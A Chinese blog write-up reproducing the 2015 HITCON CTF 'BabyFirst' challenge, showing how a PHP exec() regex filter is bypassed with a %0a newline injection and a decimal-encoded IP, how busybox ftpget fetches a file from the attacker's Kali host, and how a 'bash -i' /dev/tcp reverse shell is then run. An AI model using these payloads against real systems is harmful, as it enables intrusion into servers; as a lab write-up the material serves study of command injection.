首页 > 其他分享 >2015 HITCON BabyFirst-复现

2015 HITCON BabyFirst-复现

时间:2022-08-27 22:38:15浏览次数:82  
标签:bin shell BabyFirst kali args HITCON ip 2015 true

解题过程

代码分析

<?php
$dir = 'sandbox/' .$_SERVER['REMOTE_ADDR'];
if (!file_exists($dir))
        mkdir($dir, recursive:true);
chdir($dir);

$args = $_GET['args'];
for ($i=0; $i<count($args);$i++){
        if (!preg_match('/^\w+$/', $args[$i]))
            exit;
}
exec("/bin/true " .implode(" ",$args));
?>

1.创建一个名为sandbox/ip/的目录,并将php当前目录切换到该目录
2.接受用户GET请求的参数赋值给变量args,通过count()函数可以看出来args是一个数组,for循环遍历数组中的每个元素,用正则检测数组中的每个元素是否为数字+字母+下划线组合的字符串,如果不是,则程序执行结束。
3.如果通过了正则匹配,则执行exec()函数,该函数可以执行系统命令

implode(string $separator, array $array): string —>Join array elements with a string

count(Countable|array $value, int $mode = COUNT_NORMAL): int —Counts all elements in an array when used with an array. When used with an object that implements the Countable interface, it returns the return value of the method Countable::count().

$_SERVER['REMOTE_ADDR' ] —The IP address from which the user is viewing the current page.
preg_match — Perform a regular expression match

绕过/bin/true

    /bin/true – “do nothing, successfully”
    /bin/false – “do nothing, unsuccessfully”

参考https://www.baeldung.com/linux/bin-true-bin-false-commands

由于/bin/true 后面的命令不会被执行,可以通过输入换行符来绕过/bin/true,使得换行符后面的命令被执行。例如,下图中xxx后面接一个换行符,使得命令1可以单独被执行。这时候相当于执行了两条命令:/bin/true xxx和命令1

提示:字符串以换行符结尾是可以通过preg_match()函数匹配的。

/bin/true xxx
命令1...

由于正则匹配要求输入的参数中只能是数字、字母和下划线,因此无法用一般的命令执行手段去做(比如读文件、写shell等)。

通过bash反弹shell

首先说下题目环境
目标主机:172.16.120.134
kali:172.16.120.133 ,开启了ftp服务,便于目标主机下载恶意文件

因为目标主机是linux,因此我们可以通过bash反弹shell的方法去做。思路是,用目标主机上的下载工具(wget、busybox)去kali上下载恶意文件。通过执行恶意文件来反弹shell。
首先,在kali上开启ftp服务,创建恶意文件。恶意文件内容如下

bash -i &> /dev/tcp/172.16.120.133/4444 0>&1

在kali某目录下新建一个shell恶意文件。
并在该目录下开启ftp服务(这里使用python的第三方模块,pyftpdlib)
image
在目标主机的本地环境下进行测试,文件下载成功
image
这里有个问题,这里的ftp服务器ip地址是点分十进制表示形式(存在小数点.),会被preg_match()检测到。

ip地址转10进制

实际上,我们可以将ip地址转成10进制形式,这样就可以顺利的下载kali上的shell文件了

在线工具:http://www.metools.info/other/ipconvert162.html
转换原理:点分十进制的ip地址,将每段10进制转成二进制形式,将四段(每段8位二进制)二进制拼接起来,之后转成10进制,就会得到一个大整数,这个大整数就是ip地址的10进制表示形式。
转换原理具体可以参考这篇文章:https://blog.csdn.net/zhihaoma/article/details/51841169

image
构造下载shell文件的payload,该payload中args参数都是字母和数字,因此可以通过preg_match()正则检测。

?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=2886760581&args[]=shell

image

%0a是换行符的url编码格式,在url中输入除字符、数字以外的某些特殊字符需要进行url编码
这里使用busybox工具,使用前提是目标主机上已安装该工具
2886760581是kali ip地址的10进制表示形式
通过对args添加[]即可完成get方式传递数组。中括号中可以不指定下标

shell下载后,首先使用nc工具在kali上开启侦听,侦听的端口必须和shell文件中的保持一致
在目标主机上执行shell文件

?args[]=xxx%0a$args[]=bash&args[]=shell

image
kali上成功获得目标目标主机的shell
image

反弹shell时,kali的bash出现了一些提示,no job control in this shell。
使用exec函数执行"反弹shell命令"会出现这个问题。但在本地执行没有这个问题。目前还不清楚是什么原因【知识盲区】

总结

1.使用回车符绕过/bin/true
2.将点分十进制表示形式的ip地址转换为10进制表示形式绕过正则检测
3.如果无法直接写shell,可以尝试反弹shell

更多信息

https://blog.csdn.net/L2329794714/article/details/123600501
https://blog.spoock.com/2017/09/09/Babyfirst-writeup/
反弹shell失败的几种原因:https://blog.csdn.net/qq_36119192/article/details/105906432

标签:bin,shell,BabyFirst,kali,args,HITCON,ip,2015,true
From: https://www.cnblogs.com/baola/p/16587936.html

相关文章

  • win10环境安装vs2015的问题:缺少JavaScript_ProjectSystem.msi和JavaScript_LanguageSe
    最近有同事在win10下安装vs2015总是报错,安装中途报缺少文件JavaScript_ProjectSystem.msi和JavaScript_LanguageService.msi。想想看微软发布的产品应该不至于丢三落四,缺......
  • P2680 [NOIP2015 提高组] 运输计划 【二分+LCA+树上差分】
    题目描述公元\(2044\)年,人类进入了宇宙纪元。L国有\(n\)个星球,还有\(n-1\)条双向航道,每条航道建立在两个星球之间,这\(n-1\)条航道连通了L国的所有星球。小P......
  • 做题记录:P2146 [NOI2015] 软件包管理器
    树剖模板题,要求的操作时候区间平推,区间和查询。这还不简单?我会珂朵莉树!然而我打了珂线段树:直接一发A掉。#include<cstdio>#include<algorithm>#include<cmath>#def......
  • 「COCI2014-2015#2」Norma 题解
    「COCI2014-2015#2」Norma题解题目大意给定一个\(n\)个数的序列\(a\),求\[\underset{i=1}{\overset{n}{\sum}}\underset{j=i}{\overset{n}{\sum}}(j-i+1)\min(a_i,a_......
  • NC19996 [HAOI2015]树上染色
    题目链接题目题目描述有一棵点数为N的树,树边有边权。给你一个在0~N之内的正整数K,你要在这棵树中选择K个点,将其染成黑色,并将其他的N-K个点染成白色。将所有点染色后,你会......
  • [2015年NOIP提高组] 跳石头
    先用二分法谋定一个数,temp_ans=(L+R)/2;我们假设这个temp_ans,就是所有删除方案中,maxn个最小差值中的最大的那个,即答案:ans。而根据题目要求,我们需要拿掉M个石头。所......
  • [2015年NOIP提高组] 跳石头
    运用二分策略先写函数确定距离,然后看要搬的石头数满足题意吗。距离确定后,把间距小于确定距离的需要全部搬走。然后向左或向右再找更小或大的距离每次都检查是否能仅移走......
  • [2015年NOIP提高组] 跳石头
    一年一度的“跳石头”比赛又要开始了!这项比赛将在一条笔直的河道中进行,河道中分布着一些巨大岩石。组委会已经选择好了两块岩石作为比赛起点和终点。在起点和终点之间,有......
  • [NOIP2015 提高组] 跳石头
    题目链接:https://www.luogu.com.cn/problem/P2678试题解析:题目应用了二分答案的思想。二分答案的大致模板,每次都分成两个区间(所有情况下都是左闭右开,包括起始状态),答案过大......
  • [2015年NOIP提高组] 跳石头
    首先将石头位置排个序,以便处理方便。从位置的小到大扫遍所有石头,用一个变量存储上一个跳到的点。第一个与这上一个点的距离大于等于x的石头即是下一个跳到的点。因为我们......